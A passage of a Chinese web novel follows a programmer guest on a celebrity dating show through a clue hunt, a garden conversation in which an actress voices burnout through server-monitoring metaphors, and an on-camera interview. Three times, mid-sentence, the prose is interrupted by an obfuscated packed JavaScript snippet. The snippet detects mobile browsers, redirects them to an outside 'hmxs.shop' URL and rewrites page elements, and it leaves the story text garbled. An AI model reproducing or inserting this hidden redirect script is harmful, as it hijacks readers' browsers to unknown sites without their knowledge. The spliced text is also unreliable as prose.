苏小雨接过信封,迫不及待地打开。里面是一张照片,拍的是一棵形状奇特的老榕树,树下有个石凳。 “这是哪儿?”苏小雨问。 陈末看了看照片。他昨天在别墅周围散步时好像见过这棵树,在花园的东南角。 “跟我来。”他说。 两人走出别墅。早上的阳光还不算烈,海风吹过来,带着咸湿的气息。苏小雨走在他身边,脚步轻快。 “陈末老师,”她忽然问,“你昨天说你是来学习和观察的,那你观察出什么了呀?” 问题很突然。陈末想了想:“观察出……大家都很专业。” “专业?” “在镜头前的表现,说话的方式,都很熟练。”陈末实话实说。 苏小雨笑了:“因为我们都习惯了呀。我从16岁就出道,每天都在镜头前。林薇姐更不用说,影后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990767|193693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,每个表情每个动作都被无数人分析过。王烁哥也是顶流,一举一动都有人盯着。” 她停顿了一下,声音轻了些:“有时候会觉得……挺累的。” 陈末侧头看她。苏小雨说这话时,脸上的笑容淡了些,眼里闪过一丝疲惫——那种真实的、不属于“元气偶像”的疲惫。 “那你为什么还来参加恋综?”陈末问。 “公司安排的呀。”苏小雨说,语气又恢复了轻快,“而且我也想……试试看,能不能遇到不一样的人。” 她看向陈末,眼睛弯起来:“比如陈末老师这样的,就和圈子里的人完全不一样。” 陈末不知道怎么接这话,只好转移话题:“树在那边。” 他们找到了那棵老榕树。树干粗壮,气根垂下来像帘幕。树下的石凳上刻着一行字:“面朝大海,春暖花开”。 “线索呢?”苏小雨绕着石凳转了一圈,“没有啊。” 陈末蹲下来,检查石凳底部。果然,那里用透明胶带粘着一个小信封。他撕下来,打开。 第二张照片:一个贝壳形状的垃圾桶,背景是沙滩和海。 “这个我见过!”苏小雨说,“在海滩入口那里!” 两人往海滩方向走。路上遇到了王烁和楚曦,他们正对着一张照片争论。 “这明显是花园里的雕塑!”楚曦说。 “但背景有海浪,应该在海边。”王烁坚持。 看见陈末和苏小雨,王烁笑着打招呼:“你们找到线索了?” “第二个了。”苏小雨得意地说。 王烁眼里闪过一丝惊讶,但很快掩饰住:“厉害啊。我们还在第一个打转。” 分开后,苏小雨小声说:“王烁哥好胜心很强的,他肯定着急了。” 陈末没说话。他脑子里在想别的事——刚才苏小雨说的“挺累的”,还有林薇问的那些技术问题。 这些人,这些在镜头前光芒万丈的人,私下里到底是什么样的? 他们也有“故障”需要排查吗? 海滩入口的贝壳垃圾桶很容易找到。陈末在垃圾桶背面摸到了第三个信封。这次不是照片,而是一道谜题: “我有钥匙,但不开锁;有屏幕,但不显示;有电池,但不供电。我在哪里?” 苏小雨皱眉:“这什么呀?谜语?” 陈末看着谜面。钥匙,屏幕,电池……不开锁,不显示,不供电。 他环顾四周。海滩入口处有个小亭子,是救生员值班点,但现在没人。亭子旁边有储物柜,供游客存放物品。 储物柜。 “储物柜。”他说。 “为什么?” “储物柜有钥匙孔(但不开锁,因为是指纹或密码锁),有电子屏幕(显示状态但不显示内容),有电池(备用电源但不主要供电)。”陈末解释。 苏小雨眼睛亮了:“有道理!我们去看看!” 储物柜区有几十个柜子。他们一个一个检查,在编号07的柜子门缝里,看到了露出来的一角信封。 第三个线索到手。这次是一张手绘地图,标记了一个位置:花园工具房。 工具房在庄园最北角,是个不起眼的小木屋。门没锁,推开门,里面堆着园艺工具。苏小雨在里面翻找,陈末则注意到墙上挂着一个老式温度计,温度计后面似乎有东西。 他取下来,后面粘着最后一个信封。 打开,里面是一张卡片,上面写着一个字:“心”。 “心?”苏小雨凑过来看,“什么意思?信物是心形的?” 陈末看着那个字。卡片背面还有一行小字:“答案在最初的地方。” 最初的地方…… “别墅客厅。”陈末说。 两人往回走。路上又遇到了林薇和秦澜,她们刚找到第二个线索,正朝海滩方向去。林薇看见陈末,点了点头,没说话。 回到别墅客厅,其他人都还没回来。陈末环顾四周——最初的地方,任务开始的地方。 他的目光落在沙发前的地板上。那里还贴着彩色胶带,六个位置。 他走到自己早上的位置,蹲下来。胶带是新的,粘得很牢。但在他名字牌子的位置,胶带下面似乎有东西。 他小心地揭开胶带一角——下面压着一枚小小的金属徽章,徽章的形状是……一颗心。 “找到了!”苏小雨欢呼。 陈末把徽章拿出来。很轻,做工精致,背面刻着《心动的岛屿》的LOGO。 就在这时,王烁和楚曦冲了进来。看见陈末手里的徽章,王烁的表情有一瞬间的僵硬,但很快笑起来:“恭喜啊,你们真快。” “运气好。”陈末说。 林薇和秦澜五分钟后才回来,看见结果,秦澜点点头:“恭喜。”林薇没说话,只是看了陈末一眼,那眼神很复杂——有赞赏,有一点失落,还有别的什么。 刘导宣布结果:“第一组,陈末和苏小雨!第二组……稍等,王烁和楚曦刚找到第三个线索,林薇和秦澜第二个。所以第二是王烁组,第三是林薇组。” 晚餐特权归陈末和苏小雨。苏小雨兴奋地开始想菜单,陈末则把徽章交给工作人员。 任务结束,大家各自散去。陈末上楼前,林薇叫住他。 “下午三点,”她说,“花园长椅。有几个问题。” “好。”陈末点头。 他回房间,关上门,靠在门后。 手里还留着徽章的触感,冰凉,光滑。 而脑子里,全是林薇那个复杂的眼神。 还有早餐时她问的问题:“如果日志里出现大量重复的错误信息,但系统表现正常,怎么处理?” 现在他忽然有了一个猜想。 也许林薇不是在问服务器。 也许她是在问自己。 7. 导演组的秘密任务 下午两点五十五分,陈末站在花园长椅旁,感觉比第一次面试还紧张。 他手里拿着一个笔记本和一支笔——既然林薇要“请教问题”,他觉得应该正式一点。笔记本是从房间里找的,节目组准备的文具套装里的,封面印着度假村的LOGO。笔是普通的黑色水笔,他用手指试了试,出水流畅。 长椅在花园深处,周围是高大的热带植物,形成一个相对私密的空间。阳光透过树叶洒下来,在地上投出斑驳的光影。远处能听见海浪声,还有偶尔的海鸟鸣叫。 很安静。太安静了。 陈末看了眼时间,还有三分钟三点。他犹豫着是先坐下,还是站着等。最后选择了站着——坐下显得太随意,站着又太正式。他调整了一下站姿,觉得怎么都不对。 两点五十八分,林薇来了。 她穿了一件浅蓝色的衬衫和白色长裤,头发扎成低马尾,戴了一副金丝边眼镜。这打扮让她看起来更像学者而不是影后。手里拿着那本《Linux服务器运维实战》,书里夹着几张便签纸。 “抱歉,来晚了。”林薇说,声音依然有些哑。 “没晚,刚好。”陈末说。他看了眼时间,两点五十九分。 林薇在长椅一端坐下,把书放在腿上,翻开到第七章。陈末在她旁边坐下,中间隔了一个人的距离。 “谢谢你能来。”林薇说,她摘下眼镜,揉了揉鼻梁,“我昨晚看了一部分,有些地方不太明白。” “哪里?”陈末打开笔记本,准备记录。 林薇翻到一页,指着一段:“这里,‘监控指标的选择应该基于业务价值而非技术便利性’。什么意思?” 问题很具体。陈末组织了一下语言:“意思是,你监控什么,要看它对业务有多重要,而不是看它容不容易监控。比如一个电商网站,订单支付成功率比服务器CPU使用率更重要,因为前者直接影响收入。” 林薇点点头,在书页边缘做了个记号。她的字很工整,是那种练过书法的小楷。 “那如果……”她停顿了一下,似乎在斟酌措辞,“如果一个人的‘业务价值’不明确呢?” 陈末愣住了。这问题又偏离技术了。 “什么意思?” 林薇看着书,没看他:“系统有明确的功能和目标,所以能定义什么是重要的指标。但人……人的‘业务价值’是什么?怎么定义?” 花园里很安静。远处传来隐约的钢琴声,不知道是谁在弹。 陈末放下笔,认真思考这个问题。林薇不是在问技术,她在问哲学,或者心理学。 “运维里有个概念叫SLO,”他说,“服务等级目标。就是定义系统应该提供什么样的服务水平。比如‘99.9%的请求响应时间小于200毫秒’。有了SLO,才能知道系统是否健康。” “那人呢?”林薇追问,“人的SLO是什么?” 陈末看着她。林薇的眼睛在眼镜后面,眼神很认真,甚至有些迫切。她在等一个答案,一个真正的答案。 “我不知道。”陈末诚实地说,“每个人的SLO可能不一样。但我觉得……可能和快乐有关?或者满足感?成就感?” “怎么量化?” “没法量化。”陈末说,“人不是机器。” 林薇沉默了。她看着书,手指在页面上轻轻划过。阳光从树叶间隙漏下来,在她手上投下跳动的光斑。 “第7.4节,”她换了个话题,“讲告警策略。你说要有分级告警,不能所有问题都触发最高级别告警。为什么?” “因为如果什么都报警,真正的紧急情况反而会被忽略。”陈末解释,“这叫告警疲劳。运维人员会麻木,错过真正重要的告警。” “怎么确定什么该报警?” “看影响范围和紧急程度。”陈末说,“比如整个服务挂了,立刻报警。某个边缘功能有问题,可以等到工作时间处理。某个指标轻微异常但服务正常,可能只是观察,不报警。” 林薇做了个深呼吸。这个动作很轻微,但陈末注意到了。 “如果……”她声音更轻了,“如果一个人总是处于‘轻微异常但服务正常’的状态呢?” 陈末这次听懂了。她真的在说自己。 “那就需要调整监控策略。”他说,尽量用技术语言回应,“也许这个‘轻微异常’实际上很重要,只是之前被低估了。或者……需要重新定义什么是‘正常状态’。” 林薇抬起头,看着他。眼镜片后的眼睛有些泛红,不知道是疲劳还是别的什么。 “重新定义正常状态。”她重复这句话,像是在咀嚼每个字的含义。 陈末等着她继续问,但林薇没说话。她合上书,双手放在封面上,手指轻轻敲击着。那是思考时的动作。 花园另一头传来脚步声和说话声,是苏小雨和楚曦,她们在散步,声音由远及近又远去。林薇等她们走远了,才重新开口: “你觉得我来参加这个节目,是什么级别的‘告警’?” 问题直接得让陈末措手不及。他张了张嘴,没发出声音。 林薇笑了笑,那笑容很淡,有点苦涩:“没关系,你可以说实话。我知道你在观察我们,你说过你是来‘学习和观察’的。” 陈末深吸一口气。这是工作,他提醒自己。日薪一千。背景板。别卷入太深。 但他看着林薇——那个在屏幕上光芒万丈、此刻却显得疲惫而真实的林薇——他发现自己没法说场面话。 “从外部看,”他谨慎地说,“你参加恋综,可能是‘重大变更’而不是‘告警’。你之前没参加过这类节目,这是行为模式的重大改变。” “从内部呢?” “内部……”陈末停顿,“如果一个人一直维持某种状态很久,突然做出改变,通常是因为现有的状态已经不可持续。就像系统需要升级,不是因为它坏了,而是因为它跟不上了。” 林薇看着他,眼神复杂:“跟不上了?” “需求变了,环境变了,或者……”陈末顿了顿,“或者它自己变了。” 沉默。长久的沉默。 一只蝴蝶飞过来,在林薇身边盘旋了一会儿,落在她手中的书封上。翅膀是亮蓝色的,在阳光下闪着金属光泽。 林薇没有动,她看着那只蝴蝶,轻声说:“我演了十五年戏。从十三岁开始,在镜头前长大。我知道怎么笑能让观众喜欢,怎么哭能让评委感动,怎么说话能让采访有话题度。” 她停顿了一下:“但我不知道,如果没有镜头,没有剧本,我该怎么……生活。” 陈末不知道该说什么。他想起自己第一次独立处理生产故障时的恐慌——所有监控都在报警,但不知道问题在哪。那种感觉,可能和现在林薇的感觉有点像。 “故障排查的第一步,”他慢慢地说,“是承认有问题。” 林薇看向他。 “然后收集数据,分析原因,制定方案,执行修复。”陈末继续说,“每一步都需要时间,也需要……允许自己犯错。” 林薇低下头,看着膝盖上的书。蝴蝶飞走了。 “谢谢你。”她说,声音很轻。 “不客气。” “我能再问一个问题吗?”林薇抬起头,这次她的眼神清晰了很多,“最后一个。” “问吧。” “你为什么会答应来参加节目?”林薇问,“真的只是为了‘学习和观察’吗?” 陈末的心脏猛地跳了一下。这是今天第二个直接的问题。 他想起合同。想起日薪一千。想起医院。想起母亲。 他应该说实话吗? 就在他犹豫时,花园小径上传来脚步声——是刘导。他穿着导演马甲,手里拿着对讲机,脸上带着那种“我正好路过”的表情。 “两位老师在这啊,”刘导笑着说,“没打扰你们吧?” “没有。”林薇说,她合上书,表情恢复了平时的平静,“我们在讨论技术问题。” “技术问题?”刘导挑眉,看向陈末,“陈末老师真是多才多艺。” 陈末没说话。 “正好,”刘导说,“陈末老师,能借一步说话吗?有点事。” 陈末看向林薇。林薇点点头:“你去吧。书我晚点还你。” “不急。”陈末说。他站起身,跟着刘导走开。 他们走到花园另一头,离长椅足够远,说话不会被听见。刘导从口袋里掏出一盒烟,抽出一支,想想又放了回去。 “陈末,”刘导说,语气比平时严肃,“林薇刚才在问你什么?” “技术问题。”陈末重复林薇的话。 “具体呢?” “关于服务器监控和故障排查。” 刘导盯着他看了几秒,然后笑了:“行,技术问题。挺好。” 他顿了顿,压低声音:“你做得不错。” “什么?” “保持这种状态。”刘导说,“真实,自然,不刻意。这就是我们要的。” 陈末不明白:“要的?” “你忘了你的角色了?”刘导拍拍他的肩,“‘普通素人’,‘真实感’。林薇这种级别的艺人,平时接触的都是圈内人,说话做事都带着面具。你这种……直接、技术化的交流方式,对她来说很新鲜。” “所以你们希望我们多交流?” “我们希望一切自然发生。”刘导说,“但如果有机会,可以适当深入。林薇的参与度……之前我们有点担心。她答应来节目就很不容易,但一直很被动。今天是她第一次主动找人私下交流。” 陈末听懂了。节目组在观察,在引导, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990768|193693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在……利用。 “我明白了。”他说。 “别多想,”刘导说,“就是正常交流。你该怎么说就怎么说,该怎么做就怎么做。记住合同里写的——配合节目组合理调度。” 合理调度。陈末想起合同条款。他点点头。 刘导又拍了拍他的肩,转身走了。走了几步又回头:“对了,晚饭特权菜单想好了吗?苏小雨刚提交了一份,全是甜点。你最好去看看。” 陈末回到长椅时,林薇已经走了。书留在长椅上,上面贴着一张便签纸: “谢谢。第七章很有启发。书先还你,我需要消化一下。林薇。” 字迹工整,语气正式。 陈末拿起书和便签纸,走回别墅。路上他遇到苏小雨,她正抱着一堆零食从储藏室出来。 “陈末老师!”她喊,“快来帮我看看菜单!厨师说有些食材没有!” 陈末跟着她去了厨房。苏小雨提交的菜单上写着:巧克力瀑布、草莓蛋糕、芒果布丁、冰淇淋拼盘。 “全是甜的?”陈末问。 “甜食让人快乐呀!”苏小雨理直气壮。 陈末想了想,在菜单上加了几样:烤鱼、蔬菜沙拉、米饭。 “平衡一下。”他说。 苏小雨撅嘴,但没反对。她把修改后的菜单交给厨师,厨师点头说没问题。 从厨房出来,陈末上楼回房间。他打开笔记本,记录今天的工作: 【8月4日第二天】 当前状态:上午任务+下午咨询,累计工时约5h,收入416.65元 累计收入:1416.65元 距离目标:28583.35元 重要进展:林薇的技术咨询实质是心理求助。节目组暗示鼓励此类互动。需评估是否偏离“背景板”角色。 写到这里,他停住了笔。 偏离“背景板”角色了吗?也许。但节目组似乎乐见其成。 那么……这是好事还是坏事? 合同第7.3条:如因嘉宾个人行为导致节目组重大损失,节目组有权扣除部分或全部报酬。 什么样的行为算“导致重大损失”?表现太好算吗?太受关注算吗? 陈末不知道。 他打开那本《Linux服务器运维实战》,翻到林薇贴便签的那页。便签纸上除了那句感谢,还有一行很小的字,写在角落,几乎看不见: “P.S. 告警疲劳是个好比喻。” 陈末盯着那行字看了很久。 然后他翻到书的最后一页,那里有他之前写的一些笔记。其中一条是某个生产故障的复盘总结,最后一句是: “有时系统没有真正故障,只是需要重新认识自己。” 他合上书,走到窗边。 花园里,林薇还坐在长椅上,不过现在她身边多了一个人——秦澜。两人在说话,秦澜说了什么,林薇点了点头。 陈末看着她们,脑子里却在想别的事。 林薇在排查自己的“故障”。 节目组在观察所有人的“状态”。 而他在计算每天的“收入”。 每个人都有自己的目标和困境。 但有一个问题他还没想明白:如果林薇真的是因为某种“故障”才来参加节目,那节目组知道吗?如果知道,为什么还要请她? 或者说——节目组请她,就是因为她有“故障”? 这个念头让陈末后背发凉。 他想起刘导刚才说的话:“林薇的参与度……之前我们有点担心。” 担心什么?担心她不配合?担心她表现不好? 还是担心……她表现得太真实? 窗外,林薇和秦澜起身,朝别墅走来。林薇抬头看了一眼,正好看到三楼窗边的陈末。 两人目光在空中相遇。 林薇点了点头,很轻微的动作。 陈末也点了点头。 然后林薇走进了别墅,消失在视野里。 陈末离开窗边,重新坐回桌前。他打开手机,搜索“林薇近期状态”。 跳出来的都是正面新闻:新电影获奖、公益活动、时尚封面。一切完美。 但他往下翻,翻到三个月前的一条旧闻,标题是: “林薇缺席新片宣传,工作室称‘身体不适’” 文章很短,只是例行报道。评论区有粉丝担心,也有黑粉嘲讽。 陈末关掉页面。 他不知道林薇到底遇到了什么“故障”。他也不确定自己是否应该继续“帮助排查”。 但有一点他很清楚:从现在开始,他需要更小心。 因为在这个看似轻松的恋综里,每个人都在演。 包括他自己。 而有些戏,演着演着,可能就成真了。 8. 首次采访:为钱而来 下午四点,陈末被带到采访间时,脑子里还在复盘今天的收支。 早餐+任务+花园长谈,累计工时约五小时,416.65元。加上昨天的一千,总计1416.65元。距离三万元目标还有28583.35元,按这个进度,需要…… “陈末老师,请坐。” 采访间是个白色的小房间,正中间摆着一把高脚椅,背景是节目LOGO墙。三台摄像机从不同角度对着椅子,灯光打得比手术室还亮。陈末坐下时,感觉像被审讯的嫌疑人。 负责采访的是个戴黑框眼镜的女生,看起来二十多岁,手里拿着提问板。她自我介绍叫小唐,是节目组的随采导演。 “放松点,”小唐说,“就是随便聊聊。我们先从简单的问题开始,好吗?” 陈末点头。他心里在算:采访预计半小时,那就是41.67元。 “第一个问题,”小唐看着提问板,“为什么来参加《心动的岛屿》?” 来了。陈末深吸一口气。他想起合同,想起张伟的叮嘱,想起刘导说的“保持真实”。 他看向正对面的摄像机,黑洞洞的镜头像一只眼睛,透过它将有成千上万人看到他的回答。 “说实话,”陈末开口,声音比想象中平稳,“为钱。这是一份工作。” 说完,他等着反应——小唐的惊讶,或者导演喊停。但什么都没有。小唐只是点点头,在提问板上做了个记号,继续问下一个问题。 “你对恋综这类节目有什么看法?” “没看法。”陈末说,“之前没看过。” “一次都没看过?” “一次都没。” 小唐笑了:“那你来之前做过什么准备吗?” “查了查合同条款。”陈末实话实说,“还有海岛天气,带了防晒霜。” “就这样?” “就这样。” 小唐又记了一笔。她的表情很专业,看不出喜怒。 “接下来是关于其他嘉宾的问题。”她翻了一页,“对林薇老师的初印象?” 陈末想了想:“很专业。” “具体指什么?” “在镜头前的表现,说话的节奏,都很精准。”陈末说,“像经过严格训练的系统。” 这个比喻让小唐挑了下眉:“系统?” “嗯。稳定,可靠,输出一致。” “那私下交流呢?” 陈末停顿了一下。花园长椅上的林薇,问着技术问题却眼神迷茫的林薇,和镜头前的影后不是同一个人。 “私下……”他谨慎地说,“在学习新东西。” “学习什么?” “服务器运维。” 小唐明显愣了一下,然后笑出声:“真的?林薇老师在学这个?” “她借了我的书。” “你觉得她为什么会对这个感兴趣?” 这个问题有陷阱。陈末想了想:“可能是想拓展知识面吧。” 安全答案。 小唐没追问,转到下一个人:“苏小雨呢?印象如何?” “很有活力。”陈末说,“像……系统开机自检,所有指示灯都亮着。” “这个比喻真有意思。”小唐说,“楚曦呢?” “直接。像命令行界面,输入什么输出什么,没有图形包装。” “秦澜?” “像架构师。看问题从顶层设计开始。” “王烁?” 这个问题陈末多思考了几秒。王烁给他的感觉像什么?像一套过度设计的用户界面——美观、流畅、但每处交互都经过精心计算。 “像设计得很好的APP。”他最后说,“用户体验优秀,但你能感觉到背后有很多隐藏的逻辑。” 小唐边听边记,笔尖在纸上沙沙作响。她抬头时,眼里有掩饰不住的兴趣:“陈末老师习惯用技术比喻看人?” “职业病。”陈末说。 “那你自己呢?你是什么系统?” 陈末没想过这个问题。他想了想:“可能是……后台服务吧。不直接面对用户,但确保前端能正常运行。” “听起来很重要。” “也容易被忽略。”陈末补充,“除非出故障。” 小唐点点头,翻到提问板最后一页:“最后一个问题:你希望通过这个节目获得什么?” 又是这个问题。和昨晚的匿名纸条一样。 陈末这次有了准备:“希望能顺利完成这次体验,学到点东西,然后……”他停顿了一下,“然后拿到应得的报酬。” 他刻意用了“报酬”而不是“钱”,显得正式一点。 采访结束。小唐关掉摄像机,灯光暗下来。她站起来,活动了一下肩膀:“陈末老师,你的回答很有意思。” “有意思?”陈末也从高脚椅上下来,腿有点麻。 “很真实。”小唐说,“现在很多嘉宾上节目,回答都是精心设计的。你这样直白的……很少见。” “不好吗?” “不,很好。”小唐笑了,“观众会喜欢的。真实的东西,现在最稀缺。” 她收拾好东西,走到门口又回头:“对了,林薇老师也刚做完采访。你们俩的片段可能会剪在一起,因为都提到了技术学习。” “哦。”陈末不知道这算好事还是坏事。 从采访间出来,陈末在走廊上遇到了王烁。王烁刚化完妆,头发打理得一丝不苟,准备去做他的单人采访。 “陈末,”王烁叫住他,笑容一如既往的完美,“采访怎么样?” “还行。” “都问了些什么?”王烁语气随意,像随口一问。 “为什么来节目,对大家的印象之类的。” “你怎么说的?” 陈末看着王烁。王烁的眼神很专注,虽然脸上还带着笑。 “实话实说。”陈末说。 王烁的笑容僵了一下,很快恢复:“实话实说好啊,真实最打动人。” 他拍了拍陈末的肩,走向采访间。陈末看着他的背影,想起刚才的比喻:设计得很好的APP。 但再好的APP,也可能有bug。 陈末回到房间,打开笔记本电脑。他需要处理一点工作——公司的监控系统昨天报警,有个服务器的磁盘使用率异常增长,虽然暂时不影响业务,但他想远程看看日志。 连上□□,登录监控平台。果然,那台服务器的/var/log目录占用了95%的空间。他SSH登录上去,用du命令一层层排查,发现是某个微服务的日志文件没有按预期轮转,积累了上百GB的垃圾日志。 他写了个简单的脚本清理旧日志,然后修改了日志配置,加上了自动轮转和压缩。整个过程不到二十分钟。 处理完工作,他看了眼时间,下午五点。距离晚餐还有一小时半。 手机震动,是内部通讯软件的消息。群里,苏小雨发了个表情包:一个卡通小人抱着肚子喊“饿饿”。 楚曦回复:“刚游完1000米,能吃下一头牛。” 秦澜:“晚餐菜单确认了?” 苏小雨:“确认了!有陈末老师加的烤鱼和沙拉,还有我的甜点!” 王烁:“期待。” 林薇没有发言。 陈末关掉群聊,打开手机备忘录,更新记录: 【8月4日第二天】 当前状态:采访完成,今日累计工时6h,收入500元 累计收入:1500元 距离目标:28500元 备注:采访中保持“为钱而来”人设。王烁对采访内容表现出在意。林薇的采访片段可能与我的剪在一起,需观察播出效果。 写完,他想起小唐说的“观众会喜欢”。真的会吗?一个直白说“为钱而来”的素人,在明星恋综里,不会被骂吗? 他不知道。他也不太在乎——骂也好,夸也好,只要不影响他拿钱就行。 但有个问题他需要想清楚:如果观众真的喜欢他,如果他的人气上升,会不会影响他的“背景板”角色?会不会让节目组对他有更高要求?会不会……让他需要做更多超出合同范围的事? 合同。陈末从抽屉里拿出那份合同副本,翻到报酬条款。 【人民币¥1000000/日(含税)】 那个模糊的数字。他盯着看了很久,然后拿出手机,打开相机,调到最高像素,对着那行字拍了一张特写。 照片里,数字依然模糊。但把照片放大后,他隐约看到,最后一个“0”的墨迹确实和斜杠有粘连。看上去像“1000/日”,但如果是“1000000/日”,中间的零太多,印刷时也可能糊成一片。 他需要确认。但怎么确认?直接问节目组?不行,万一真的是印刷错误,他问了,节目组发现给多了,可能会改合同。 问张伟?那家伙肯定也不知道。 陈末放下合同,走到窗边。夕阳开始西下,海面染上一层金红色。花园里,楚曦在做拉伸运动,苏小雨在荡秋千,秦澜坐在长椅上看书。 一切都那么美好,那么……昂贵。 这种级别的度假庄园,包场一个月要多少钱?这些明星的出场费要多少钱?节目制作费要多少钱? 如果他的日薪真的是一千,那他在这整个项目里的成本,微不足道。 但如果是一百万…… 陈末摇摇头。不可能。绝对不可能。 晚餐时间到了。 陈末下楼时,餐厅已经飘出香味。长桌上摆满了菜肴,正中间是苏小雨要求的巧克力瀑布,旁边是陈末加的烤鱼和沙拉。 “陈末老师来啦!”苏小雨招手,“坐我旁边!” 陈末坐下。苏小雨另一边是楚曦,对面是秦澜和林薇。王烁坐在长桌另一端,挨着林薇。 “首先,”王烁举起水杯,“恭喜陈末和小雨今天获得第一。” 大家举杯。陈末喝了一口水。 “陈末老师太厉害了,”苏小雨说,“那些线索,他一眼就看懂了!” “运气好。”陈末说。 “不是运气,”楚曦切着烤鱼,“是脑子好使。那个谜题,我听了半天都没懂。” 秦澜点头:“储物柜那个确实巧妙。” 林薇安静地吃着沙拉,没说话。但她抬眼看了陈末一下,那眼神像是认可。 “陈末是做技术的,”王烁笑着说,“逻辑思维强很正常。我们这些搞艺术的,脑子是另一套结构。” 这话听起来像夸奖,但陈末听出了一丝别的意味——划清界限。你是技术脑,我们是艺术脑,不一样。 “吃饭吃饭,”楚曦打断,“饿死了。” 晚餐进行到一半时,刘导进来了。他手里拿着平板,脸上带着笑。 “各位老师,打扰一下。”他说,“今晚八点,我们会在大厅播放今天的任务精彩片段,还有部分采访花絮。大家可以看看。” “今晚就播?”苏小雨惊讶,“不是录播吗?” “是录 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990769|193693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 播,但我们会内部先放一下,收集大家的反馈。”刘导说,“也算是……预热。” 陈末心里一紧。采访花絮。他的那句“为钱而来”。 晚餐后,大家移步大厅。沙发前已经架好了投影幕布,工作人员调试设备。陈末选了个角落的位置,想降低存在感。 八点整,影片开始。 先是今天的任务片段。镜头里的陈末看起来比实际更严肃,他盯着线索照片思考时,眉头微皱,像在解数学题。苏小雨在他身边蹦蹦跳跳,形成鲜明对比。 “我看起来好傻。”苏小雨小声说。 “很可爱。”王烁说。 然后是各组寻找线索的过程。王烁和楚曦的片段充满了戏剧性——楚曦坚持己见,王烁耐心劝说,最后证明楚曦是对的。剪辑得很精彩,像迷你剧情片。 林薇和秦澜的片段则很安静,两人讨论线索时逻辑清晰,像在开项目会议。 陈末看着屏幕里的自己。他发现自己大部分时间面无表情,只有在找到线索时,嘴角会极轻微地上扬一下,几乎看不出来。 “陈末老师都不笑的。”苏小雨说。 “我在思考。”陈末说。 任务片段结束,进入采访花絮。 第一个是苏小雨,她说:“希望能遇到真诚的人,看到大家真实的一面。”配上她甜美的笑容,很有感染力。 接着是楚曦:“来这就是想谈场恋爱,就这么简单。”直白有力。 秦澜:“来学习。”简洁深刻。 王烁:“希望能在这里遇到心动的人,也希望能和大家成为朋友。”完美无缺。 然后镜头切到林薇。她坐在采访椅上,灯光柔和,看起来比平时更疲惫一些。 “为什么来参加节目?”画外音问。 林薇沉默了几秒。镜头给她特写,能看见她睫毛的轻微颤动。 “想试试……”她慢慢说,“在没有剧本的地方,自己会怎么演。” 这话很有深意。大厅里安静下来。 最后是陈末。 屏幕上,他坐在高脚椅上,灯光很亮,照得他脸上的毛孔都清晰可见。 “为什么来参加《心动的岛屿》?” 陈末看着镜头,表情平静得像在陈述事实: “说实话,为钱。这是一份工作。” 话音落下,大厅里一片寂静。 然后楚曦“噗”地笑出声:“陈末你真是……” 苏小雨也笑了:“陈末老师太实诚了!” 秦澜摇头,但眼里有笑意。 王烁笑着说:“陈末这个回答,确实很独特。” 林薇没笑。她看着屏幕上的陈末,眼神复杂。 影片继续播放,但陈末没再看。他在观察其他人的反应——真实的反应,不是镜头前的表演。 大家似乎觉得他的回答很好笑,很“反差萌”,没有人表现出反感或鄙夷。 这让他松了口气。 影片结束后,刘导做总结:“今天的素材都很棒,特别是各位老师的真实反应。我们会精选一部分,作为先导片提前放出。” 先导片。陈末想,他的“为钱而来”会出现在先导片里吗? 散场后,陈末上楼。在楼梯拐角,他遇到林薇。 “陈末。”她叫住他。 陈末停步。 林薇看着他,走廊灯光昏暗,看不清她的表情。 “你说的对。”她轻声说,“故障排查的第一步,是承认有问题。” 陈末不明白她为什么突然说这个。 “我今天采访时说了,”林薇继续说,“‘想试试在没有剧本的地方,自己会怎么演’。” 她停顿了一下:“但你说得比我更直接。” “直接不好吗?” “好。”林薇说,“只是……需要勇气。” 她说完就上楼了,留下陈末站在原地。 回到房间,陈末打开手机。工作群里,公司同事在讨论今天的故障处理,有人@他感谢他及时清理了日志。 他回复“不客气”,然后关掉。 躺到床上,他脑子里回放今天的片段:采访间里刺眼的灯光,小唐专业的表情,王烁试探的眼神,大厅里大家的笑声,林薇那句“需要勇气”。 一切都在按计划进行——他的计划,和节目组的计划。 但这两个计划,真的是同一个吗? 手机震动,是一条推送新闻: “《心动的岛屿》先导片明日上线,素人嘉宾直言‘为钱而来’引爆期待” 陈末点开。文章里写道:“在明日上线的先导片中,素人嘉宾陈末直言参加节目‘为钱’,坦率态度引发网友热议……” 他关掉页面。 这么快就出新闻了。节目组的宣传开始了。 而他,陈末,一个日薪一千(可能)的运维工程师,成了宣传的噱头。 他不知道这是好事还是坏事。 他只知道,从现在开始,有更多人会看着他。 包括那些会评判他、议论他、喜欢他或讨厌他的陌生人。 